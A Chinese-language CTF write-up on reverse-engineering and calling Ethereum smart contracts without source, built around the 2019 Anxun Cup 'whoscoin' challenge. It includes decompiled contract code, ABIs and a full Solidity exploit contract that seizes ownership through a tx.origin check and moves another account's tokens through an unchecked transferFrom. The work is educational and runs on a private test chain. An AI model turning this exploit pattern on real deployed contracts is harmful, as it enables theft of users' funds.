如何与无源码的智能合约交互

0x01 前言

​ 主要介绍Ethernet(以太坊)的基于solidity的智能合约交互。分析题目并不是为了求解,而是为了解释每一步为什么这么做,是否有效。

​ 需要事先配置redmix-idehttp://remix.ethereum.org/和metamask钱包环境,环境配置见solidity的官方文档,我使用的Chorme,火狐浏览器不知道为何总是无法找到Solidity编译器。

0x02 一个简单的例子

环境部署

​ 以下合约来自solidity官方文档的第一个例子。调用set函数可以修改变量 paswd 为某个整数,网络上的所有用户都能调用look查看此变量。

pragma solidity ^0.4.18;
contract Instacne{
  uint256 public paswd;
    function set(uint256 _parm)public {
        paswd = _parm;
    }  
    function look () public returns(uint256) {
        return paswd;
    }
}

在Ropsten网络部署后得到地址0xf78482dfe10B3c7aBBE79Dfda0859b0Eb3864BbD

反编译分析

通过在线逆向网站得到反编译代码和二进制程序接口信息(ABI)

https://contract-library.com/contracts/Ropsten/0xf78482dfe10B3c7aBBE79Dfda0859b0Eb3864BbD

这个网站反编译的代码比较方便阅读但其实可能会有问题,https://ethervm.io/decompile反编译代码会更加底层,能正确反应源代码逻辑。这个问题我们在0x03实战分析中展开讨论。

部分反编译代码

uint256 _look; // STORAGE[0x0]
function set(uint256 varg0) public {
  require(!msg.value);
  _look = varg0;
  exit();
}
function look() public {
  require(!msg.value);
  return _look;
}

ABI:

[{"constant":false,"inputs":[],"name":"look","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_parm","type":"uint256"}],"name":"set","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"paswd","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}]

ABI 是一个Json文件,记录每一个函数的调用方法。部分字段意义如下

字段 类型 含义
constant bool 是否为常量函数
input json 输入值类型
output json 输出值类型
payable bool 是否标志为payable
stateMutability str 其他函数标志

这里介绍一些Solidity和区块链概念:

交易:无论是否涉及金钱交易,所有需要在链上 的操作都认为是交易。

状态:状态变量是永久地存储在合约存储中的值。声明为constant的变量表示常量,并不存储在合约的storage。

函数标志:可以设置函数可以访问哪些状态。比较重要的是设置为view后,我们可以直接拿到函数返回值,而不需要进行交易(签名发布区块链)。参考官方文档:https://solidity-cn.readthedocs.io/zh/develop/contracts.html#functions

常量函数:solidity声明一个名为sample的 public 变量后会生成一个同名函数(sample),该函数无输入但是带有view标志,可以直接返回该变量的值。

从ABI可知, set函数和look函数的输入输出格式如下:

函数名 input output
set uint256 _parm NULL
look NULL uint256

于是可以逆向得到函数声明。

function paswd() view returns(uint256);
function set(uint256 _parm);
function look() returns (uint256);

​ 阅读反编译代码可以大体得知函数功能,如果要将所有代码逆向成源代码虽然方便本地调试,但其实是比较困难的。我推荐逆向出所需的函数声明后,用Remix,部署此虚合约(abstract contract)到原合约地址上,再利用Remix的接口调用函数。

调用合约

声明虚合约后,可以利用Remix,部署在原合约地址就可以直接调用了。

如果要跨合约调用的话,可以直接实例化虚合约,调用自己编写的合约即可,比如以下例子。

pragma solidity ^0.4.18;
contract Contract{//虚合约
    function paswd() view returns(uint256);
    function set(uint256 _parm) ;
    function look() returns (uint256);
}
contract Exploit {//攻击合约
    Contract instance;
    function Exploit(){//构造函数
        address _parm = 0xf78482dfe10B3c7aBBE79Dfda0859b0Eb3864BbD;
        instance = Contract(_parm);//实例化目标合约
    }
    function set(uint256 _parm){
        instance.set(_parm);
    }
    function look() view returns(uint256){
        return instance.look();
    }
}

0x03 实战分析

​ 题目来自于2019年第二届安洵杯的 whoscoin,题目不涉及安全问题,只要用户按照一定规则调用函数即可获取flag。

​ 原题在成功调用特定事件后,有一个flag会发送flag到选手指定邮箱上。现在这个环境已经没了,我们在私有链上测试,如果监听到这个事件就认为成功获取flag。

部署题目

原题目合约地址:0xB663B3A8492650dDdCb9891fAeDFf84a8BC9b6c3

​ 编译题目源码(在文末给出)后,使用账户0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C部署题目到0xad8742d9B48be31f69CCEA55B183C2EE7d4d8058。此时完成环境部署,虽然用到源码,但只是为了模拟比赛环境。接下来我们在无源码为前提,逆向此合约。

私有链的合约地址:0xad8742d9B48be31f69CCEA55B183C2EE7d4d8058

逆向分析

收集信息

在线反编译网站找不到私有链上的合约,所以我们这里反编译原题合约

https://contract-library.com/contracts/Ropsten/0xB663B3A8492650dDdCb9891fAeDFf84a8BC9b6c3

contract Instance{
  uint256 _decimals; // STORAGE[0x0]
  uint256 _totalSupply; // STORAGE[0x1]
  uint256 _owner; // STORAGE[0x2]
  uint256 _transferFrom; // STORAGE[0x3]
  uint256 _allowance; // STORAGE[0x4]

  function transferFrom(address varg0, address varg1, uint256 varg2) public {
    require(!msg.value);
    require(address(varg1) != 0x0);
    require(_transferFrom[address(varg0)][0] >= varg2);
    require((_transferFrom[address(varg1)][0] + varg2) > _transferFrom[address(varg1)][0]);//varg2 > 0
    _transferFrom[address(varg0)] = (_transferFrom[address(varg0)][0] - varg2);
    _transferFrom[address(varg1)] = (_transferFrom[address(varg1)][0] + varg2);
    _allowance[address(msg.sender)] = (_allowance[address(msg.sender)][0] - varg2);
    require((_allowance[address(varg0)][0] + _allowance[address(varg1)][0]) == (_transferFrom[address(varg0)][0] + _transferFrom[address(varg1)][0]));
    v738 = 0x1;
    return v738;
  }

  function decimals() public {
    require(!msg.value);
    v752 = 0xff & _decimals >> 0;
    return (0xff & (0xff & v752));
  }

  function payforflag(string varg0) public {
    require(!msg.value);
    v1fb =  new bytes[](varg0.length);
    freeMemPtr = v1fb + (0x20 + varg0.length + 31 >> 5 << 5);
    CALLDATACOPY(v1fb.data, varg0 + 36, varg0.length);
    v760_0x0 = balanceOf_impl(msg.sender, 0x761);
    require(v760_0x0 >= 0x2710);
    require(address(_owner >> 0) == address(msg.sender));
    v7f8 =  new array[](v1fb.length);
    v81e_0x0 = v813 = 0x0;
    while (1) {
      if (v81e_0x0 >= v1fb.length) break;
      MEM[v7f8.data + v81e_0x0] = MEM[v1fb.data + v81e_0x0];
      v81e_0x0 = v81e_0x0 + 32;
      continue;
    }
    if (0x1f & v1fb.length) {
      MEM[(v1fb.length + v7f8.data - (0x1f & v1fb.length))] = ~((0x100 ** (0x20 - (0x1f & v1fb.length))) - 0x1) & MEM[(v1fb.length + v7f8.data - (0x1f & v1fb.length))];
    }
    v85d_0x1 =  new array[](0x6);
    MEM[v85d_0x1.data] = 0x627261766f210000000000000000000000000000000000000000000000000000;
    emit 0xc18473380ae2e7a279934bea5ae7294969b074d8c2040ddc4a26a40b5c7c9a10(v7f8, v85d_0x1);
    exit();
  }
  function balanceOf(address varg0) public {
    require(!msg.value);
    v25c_0x0 = balanceOf_impl(varg0, 0x25d);
    return v25c_0x0;
  }
  function owner() public {
    require(!msg.value);
    v90e = address(_owner >> 0);
    return address(v90e);
  }
  function changeOwner(address varg0) public {
    require(!msg.value);
    if (address(tx.origin) != address(msg.sender)) {
      _owner = address(varg0) << 0 | (~0xffffffffffffffffffffffffffffffffffffffff << 0 & _owner);
    }
    exit();
  }
  function allowance(address varg0, address varg1) public {
    require(!msg.value);
    return _allowance[address(varg1)][0];
  }
  function balanceOf_impl(uint256 v8a2arg0x0, uint256 v8a2arg0x1) private {
    v8bf = address(v8a2arg0x0);
    return _transferFrom[address(v8bf)][0]; // to v8a2arg0x1
  }
  function approve(address varg0, uint256 varg1) public {
    require(!msg.value);
    _allowance[address(varg0)] = varg1;
    v3f1 = 0x1;
    return v3f1;
  }
  function totalSupply() public {
    require(!msg.value);
    return _totalSupply;
  }
}

ABI如下

[{"name":"__function_selector__","type":"function","inputs":[{"name":"function_selector","type":"uint32"}]},{"name":"approve","type":"function","inputs":[{"name":"varg0","type":"address"},{"name":"varg1","type":"uint256"}]},{"name":"totalSupply","type":"function","inputs":[]},{"name":"transferFrom","type":"function","inputs":[{"name":"varg0","type":"address"},{"name":"varg1","type":"address"},{"name":"varg2","type":"uint256"}]},{"name":"decimals","type":"function","inputs":[]},{"name":"payforflag","type":"function","inputs":[{"name":"varg0","type":"string"}]},{"name":"balanceOf","type":"function","inputs":[{"name":"varg0","type":"address"}]},{"name":"owner","type":"function","inputs":[]},{"name":"changeOwner","type":"function","inputs":[{"name":"varg0","type":"address"}]},{"name":"allowance","type":"function","inputs":[{"name":"varg0","type":"address"},{"name":"varg1","type":"address"}]}]

从ABI可以得到函数声明如下:

函数名 input output
approve address varg0, uint256 varg1 bool
allowance address varg0, address varg1 uint256
changeOwner address varg0 NULL
balanceOf address varg0 uint256
transferFrom address varg0, address varg1, uint256 varg2 bool
owner NULL address
payforflag string NULL

编写虚合约

下面依次分析各函数。可以先看攻击链构造再回来看这部分,选择先介绍函数功能是因为做题的时候我习惯于如此。

  1. approve

功能:设置地址varg0allowance 修改为 varg1

反汇编函数如下,有bool类型返回值,为其添加returns语句。

//原函数
function approve(address varg0, uint256 varg1) public {
    require(!msg.value);
    _allowance[address(varg0)] = varg1;
    v3f1 = 0x1;
    return v3f1;
}
//函数声明
function approve(address varg0, uint256 varg1) public returns(bool success)

​ 其实这里在线反编译完整给出的代码是和实际功能有出入的。我们用这个网站https://ethervm.io/decompile/ropsten/0xB663B3A8492650dDdCb9891fAeDFf84a8BC9b6c3#dispatch_23b872dd分析的话,发现approve函数其实是修改调用者对arg0账户的allowance。也就是说allowance大概率是一个映射的映射,记录的是哪个账户对哪个账户的可操作金额。

​ 我也是部署攻击合约后发现approve函数调用失败才发现问题的,算是一个坑吧。

  1. allowance

功能:返回地址varg1allowance

发现有uint256类型返回值

function allowance(address varg0, address varg1) public {
    require(!msg.value);
    return _allowance[address(varg1)][0];
}
//函数声明
function allowance(address varg0, address varg1) public returns(uint256)

这里同样存在和approve函数类似的问题

  1. owner

功能:返回合约所有者,类型为address

function owner() public {
    require(!msg.value);
    v90e = address(_owner >> 0);
    return address(v90e);
}
//函数声明
function owner() public returns(address);
  1. changeOwner

功能:修改合约所有者_owner为指定地址

无返回值

function changeOwner(address varg0) public {
    require(!msg.value);
    if (address(tx.origin) != address(msg.sender)) {
      _owner = address(varg0) << 0 | (~0xffffffffffffffffffffffffffffffffffffffff << 0 & _owner);
    }
    exit();
}
//函数声明
function changeOwner(address varg0) public;
  1. balanceOf
function balanceOf(address varg0) public {
    require(!msg.value);
    v25c_0x0 = balanceOf_impl(varg0, 0x25d);
    return v25c_0x0;
}
//函数声明
function balanceOf(address varg0) public payable returns(uint256)
  1. transferFrom

功能:指定用户A给用户B转账C金额。

function transferFrom(address varg0, address varg1, uint256 varg2) public {
    require(!msg.value);
    require(address(varg1) != 0x0);
    require(_transferFrom[address(varg0)][0] >= varg2);
    require((_transferFrom[address(varg1)][0] + varg2) > _transferFrom[address(varg1)][0]);
    _transferFrom[address(varg0)] = (_transferFrom[address(varg0)][0] - varg2);//1
    _transferFrom[address(varg1)] = (_transferFrom[address(varg1)][0] + varg2);//10000
    _allowance[address(msg.sender)] = (_allowance[address(msg.sender)][0] - varg2);
    require((_allowance[address(varg0)][0] + _allowance[address(varg1)][0]) == (_transferFrom[address(varg0)][0] + _transferFrom[address(varg1)][0]));
    v738 = 0x1;
    return v738;
}
//函数声明
function transferFrom(address varg0, address varg1, uint256 varg2) public payable returns(bool success)
  1. payforflag

大意:包含几个require条件,满足后发送flag邮件。

//函数声明
function payforflag(string _parm) payable public;

完整虚合约如下:

contract Instance{
  uint256 _decimals; // STORAGE[0x0]
  uint256 _totalSupply; // STORAGE[0x1]
  address  _owner; // STORAGE[0x2]
  function transferFrom(address varg0, address varg1, uint256 varg2) public payable returns(bool);
  function balanceOf(address varg0) public payable returns(uint256);
  function payforflag(string _parm) payable public;
  function owner() public view returns(address);
  function changeOwner(address varg0) public;
  function allowance(address varg0, address varg1) view public returns(uint256);
  function approve(address varg0, uint256 varg1) public returns(bool);
  function totalSupply() view public returns(uint256) ;
}

直接调用虚合约

将虚合约部署在原合约地址0xad8742d9B48be31f69CCEA55B183C2EE7d4d8058上。

调用totalSuply函数,单击即可得到 15000000000000000000000000000

调用owner函数,即可得到原合约的创立者地址0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C

如果直接调用payforflag函数,因为条件不满足,所以合约调用会失败,接下来我们分析反编译代码,寻求解题方法。

构造攻击链

  • 分析payforflag函数
function payforflag(string varg0) public {
    require(!msg.value);
    v1fb =  new bytes[](varg0.length);
    freeMemPtr = v1fb + (0x20 + varg0.length + 31 >> 5 << 5);
    CALLDATACOPY(v1fb.data, varg0 + 36, varg0.length);
    v760_0x0 = balanceOf_impl(msg.sender, 0x761);
    require(v760_0x0 >= 0x2710);
    require(address(_owner >> 0) == address(msg.sender));
    v7f8 =  new array[](v1fb.length);
    v81e_0x0 = v813 = 0x0;
    while (1) {
        if (v81e_0x0 >= v1fb.length) break;
        MEM[v7f8.data + v81e_0x0] = MEM[v1fb.data + v81e_0x0];
        v81e_0x0 = v81e_0x0 + 32;
        continue;
    }
    if (0x1f & v1fb.length) {
        MEM[(v1fb.length + v7f8.data - (0x1f & v1fb.length))] = ~((0x100 ** (0x20 - (0x1f & v1fb.length))) - 0x1) & MEM[(v1fb.length + v7f8.data - (0x1f & v1fb.length))];
    }
    v85d_0x1 =  new array[](0x6);
    MEM[v85d_0x1.data] = 0x627261766f210000000000000000000000000000000000000000000000000000;
    emit 0xc18473380ae2e7a279934bea5ae7294969b074d8c2040ddc4a26a40b5c7c9a10(v7f8, v85d_0x1);//
    exit();
}

三个require条件

  1. msg.value == 0

  2. balanceOf_impl(msg.sender, 0x761) >= 0x2710

    调用者的存款需大于 10000(0x2710)。使用transferFrom函数修改存款

  3. address(_owner >> 0) == address(msg.sender)

    当前合约owner为调用者。使用changeOwner修改调用者为攻击合约地址。

    我们可以看到有大量涉及数组的操作,但其实这些操作并不会影响最终flag邮件事件的参数,只要满足三个require条件就能正确调用事件。

    CALLDATACOPY将函数参数varg0拷贝到v1fb, while 循环再将v1fb数据拷贝到v1f8。实际上事件的第一个参数v1f8就是函数参数varg0

    事件的第二个参数x85d_0x1使用16进制解码后,即为'bravo!'

    emit 0xc18473380ae2e7a279934bea5ae7294969b074d8c2040ddc4a26a40b5c7c9a10(v7f8, v85d_0x1);
  4. 修改所有者

这里要求合约调用者不是交易的原始调用者。因此我们需要编写攻击合约,让攻击合约调用changeOwner函数。传入的值为攻击合约的地址。

//简化后的代码
function changeOwner(address varg0) public {
    require(!msg.value);
    if (tx.origin != msg.sender) {
        _owner = address(varg0) 
    }
}

调用 owner函数可以验证是否成功修改。

  • 修改存款

transferFrom能够转移两个账户的存款。为了实现转账,我们需要满足以下几个条件

  1. msg.value == 0

  2. varg1 != 0

  3. _transferFrom\[address(varg0)\][0] >= varg2

    转账金额小于等于varg0用户的存款

  4. (_transferFrom\[address(varg1)\][0] + varg2) > _transferFrom\[address(varg1)\][0]

    转账金额大于0

  5. allowance限制

    ​ 实际上就算不管此条件,还是能够成功转账。应该就是之前说的_allowance 是一个映射的映射,在线反编译器不能很好地翻译。(也有可能是我看不懂QAQ)

    _allowance[address(msg.sender)] = (_allowance[address(msg.sender)][0] - varg2);
     require((_allowance[address(varg0)][0] + _allowance[address(varg1)][0]) == (_transferFrom[address(varg0)][0] + _transferFrom[address(varg1)][0]));
    

完整攻击链

攻击合约调用

changeOwner(this) -> transferFrom(origin_owner, this, 10000)-> payforflag(b64email)

变量名 含义
this 攻击合约地址
origin_owner 原合约所有者地址
b64email 自己邮件地址的base64编码

EXP代码如下:

pragma solidity ^0.4.18;
contract Instance{
  uint256 _decimals; // STORAGE[0x0]
  uint256 _totalSupply; // STORAGE[0x1]
  address  _owner; // STORAGE[0x2]
  function transferFrom(address varg0, address varg1, uint256 varg2) public payable returns(bool);
  function balanceOf(address varg0) public payable returns(uint256);
  function payforflag(string _parm) payable public;
  function owner() public view returns(address);
  function changeOwner(address varg0) public;
  function allowance(address varg0, address varg1) view public returns(uint256);
  function approve(address varg0, uint256 varg1) public returns(bool);
  function totalSupply() view public returns(uint256) ;
}

contract Exploit{
    Instance instance;
    address _adr = 0xad8742d9B48be31f69CCEA55B183C2EE7d4d8058;
    address public Bank_adr;
    function Exploit(){
        instance = Instance(_adr);
        Bank_adr = instance.owner();
    }
    function changeOwner() public{
        instance.changeOwner(this);
    }
    function resertOwner() public{
        address _parm = 0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C;
        instance.changeOwner(_parm);
    }
    function balanceOfBank ()view public returns(uint256){
        return instance.balanceOf(Bank_adr);
    }
    function balanceOfExploit ()view public returns(uint256){
        address _parm = this;
        return instance.balanceOf(_parm);
    }
    function approve (address _parm, uint256 mount) public returns(bool){
        instance.approve(_parm, mount);
    }
    function transferFrom() public payable {
        instance.transferFrom(Bank_adr, this, 10000);
    }
    function allowanceOfBank()view public returns(uint256){
        return instance.allowance(this , Bank_adr);
    }
    function allowanceOfExploit ()view public returns(uint256){
        return instance.allowance(this, this);
    }
    function payforflag() payable public{
        instance.payforflag("Y3dtankxMzE0QDEyNi5jb20=");
    }
}
  • 修改合约所有者为攻击合约

    执行changOwner修改所有者。点击owner方法查看owner是否被修改为攻击合约地址

  • 给攻击合约转账

    一开始攻击合约无存款,原合约所有者拥有许多存款(这里测试过几次,所以金额不是15000....0了,但是不影响验证)。

点击transferFrom方法给攻击合约转账10000,再查看攻击合约存款,发现有10000,原合约所有者存款少10000

  • 调用payforflag

    各条件满足,事件被调用,相当于成功获取flag。

0x04 结束语

​ Solidity的官方文档还是讲的很明白的,基本上需要的答案都能直接搜索出来。

​ 我对智能合约了解还不深入,写下本文主要是之前不知如何调用智能合约函数,网上查到的资源非常零散。但通过不断实验还是找到了一套解决办法,希望能帮到有需要的同学。

​ 如有纰漏,还请各位海涵。

0x05 Reference & Trick

  1. solidity 文档中安装环境的教程

    https://solidity-cn.readthedocs.io/zh/develop/installing-solidity.html

  2. solidity关于映射的映射的解释:

    https://solidity-cn.readthedocs.io/zh/develop/miscellaneous.html#storage

  3. 在线反编译合约网站1:https://contract-library.com/

  4. 在线反编译合约网站2: https://ethervm.io/decompile/
  5. 在线智能合约交互网站:https://www.mycrypto.com/ 这个网站也不是能和所有合约直接交互的,比如本文介绍的CTF合约题目就不行。
  6. whoscoin作者发布源代码在https://github.com/D0g3-Lab/i-SOON_CTF_2019

点击收藏 | 1 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖